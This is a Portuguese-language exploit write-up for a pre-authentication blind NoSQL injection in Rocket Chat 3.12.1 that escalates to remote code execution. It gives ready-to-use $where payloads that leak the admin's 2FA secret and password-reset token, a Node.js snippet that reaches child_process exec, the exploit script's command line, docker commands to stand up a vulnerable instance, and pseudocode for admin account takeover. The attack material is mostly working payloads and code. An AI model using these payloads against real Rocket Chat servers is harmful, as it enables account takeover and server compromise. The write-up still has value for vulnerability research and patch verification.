
Injeção NoSQL cega pré-auth que leva à Execução Remota de Código no Rocket Chat 3.12.1
Injeção cega NoSQL sem pré-autenticação levando à Execução Remota de Código no Rocket Chat 3.12.1
O usuário admin provavelmente está protegido por 2FA. Então, mesmo se alterarmos a senha do admin através de (1), será solicitado o código 2FA no login.
O endpoint da API users.list recebe um parâmetro de consulta vulnerável a injeção NoSQL. Também somos capazes de recuperar dados ao lançar um erro.
Executamos a seguinte consulta para obter o segredo 2FA do admin : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
Em seguida, apenas fazemos (1) para redefinir a senha do admin e usamos o segredo 2FA para gerar o código que podemos usar para entrar.
Atualizado : Você também pode recuperar o token de redefinição da mesma forma que recuperou o segredo 2FA : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
NOTA: Se você não quiser que o Administrador seja protegido com 2FA, você pode fazer o seguinte.
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)